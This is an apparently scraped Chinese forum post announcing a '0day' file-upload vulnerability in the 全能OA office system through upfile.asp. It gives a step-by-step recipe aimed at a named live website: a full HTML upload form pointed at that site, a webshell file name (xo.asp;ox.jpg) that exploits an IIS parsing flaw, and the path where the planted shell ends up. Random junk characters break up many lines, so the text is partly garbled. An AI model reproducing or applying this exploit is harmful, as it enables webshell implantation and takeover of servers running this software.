全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

; ~; S+ m( j& u" \$ w全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
: ^" i' G: t7 \
主要功能：
公司通告
2 W  @) H2 [! _! D* w, c工作计划
6 k5 U! h, C2 [& ]通讯助理
客户资源
我的公文
公文传阅
4 v7 p* c! Q* M' k0 _- J公共资源
资源预约
今日考勤
3 R5 G4 C( j" c. c! Y  a个人计划
个人通讯录
个人基本档案
% m/ C1 {* f% F! N( U2 C: n  E/ v5 H/ y未读邮件
发邮件
/ ~2 W4 [/ @' D) {收件夹
4 l! ^# F  Z3 S! o" J寄件夹
网络硬盘
网络会议
网络调查
交流论坛

: T; y9 \1 L" F& R有兴趣测试的朋友可以下源码看看
+ _& {) n9 G; z% j0 x0 r% u; ~! O3 L
源码下载：

1 {; T! B2 U- l# e/ M* ^http://www.mycodes.net/30/4750.htm
1 q* Y  A, K: A, y4 [9 v
3 l) t, z9 O' v8 q6 i# a0 t7 V9 ?漏洞介绍：

由upfile.asp上传文件漏洞引起
& X; A/ C5 @* C/ V* Z; ^1 D
/ B% X* D7 Y: o( Y4 x$ B: R" Z测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
$ M! Z7 W9 A1 O0 i
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
# Y8 t3 l/ t- S5 o1 B
- L5 R, \9 l5 T$ c1 c4 w# k如果存在那么将如下代码保存为upfile.html。
8 m& m) N, Z' y. E8 O& d
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
: l" Z& t) o0 }; X+ h4 v


01 <table border='0' align="center" cellpadding="5">
) s# @- R7 e1 t5 V% o- J
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

( E0 x; s% p) J+ r% X03 <tr>
& H$ {5 }1 a$ M0 _. D& ^% z  ^
8 i0 m" |6 Z/ m7 K04             <td>报错：</td>

* k' E+ x: U% Y05             <td><input type='radio' name='errnumber' value='0'>

7 B& g! c8 V/ r( Q& G$ d: m06               自动更名
' C) h4 _, @$ L' ?! P" h
( Z' [2 O- L; d. D  p) m0 g3 h% ~07               <input type='radio' name='errnumber' value='1' checked>

% x# E; ]( P! S7 N08               报错方式

09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

11           </tr>
! G1 D9 Q# f% g
( P' ~' [* G  o+ G, K' T12           <tr>

13             <td>主题：</td>
8 L) T" g1 Y6 G# K. s1 P
3 q) |# d; T1 [( G7 j14             <td><input type='text' name='filename' size='30'></td>
/ e  f; v) @* A) g; L
15           </tr>
2 O' ~; W  t, K
16           <tr>
7 \! ~0 i( Y: z4 V( K! S" d/ P
17             <td>文件：</td>
9 A/ E! x5 Y+ C$ A: {# n$ t( e
18             <td><input type="file"name="fruit"size="30"></td>
* [" U  ]  d3 c/ q  _
3 W. E9 O3 i( s/ d0 H19           </tr>
& W& y, [4 v6 z. ^/ X
# F- V; p) J1 ~% q. y1 k20           <tr>

$ z- @; S* ~  Q" I6 Y+ J21             <td valign='top'>简介：</td>
' v) s& S0 w& Z
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
6 X8 t( c' a  {$ e: A" a% B- ]
23           </tr>
; s4 A* x6 l  U5 X& m4 D& L
' d% `- F. X0 f1 ]2 _: o24   
3 _; B9 X5 m8 C: f
1 t7 P+ Y/ o4 r: M! a25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
! r1 Z! E: v1 T4 A) x
26           </tr>

27         </form>

; m- m/ _% `* n7 q然后打开上传一个文件名为xo.asp;ox.jpg的文件。
. C' K  o$ Q' u3 {  D

* z3 B$ o+ c% J4 l4 K2 }
# H0 O5 f* O- D* c上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

% ?: q7 h$ |6 N: u此漏洞需要配合解析漏洞利用。

9 @0 t" e8 C& e6 n4 v0 S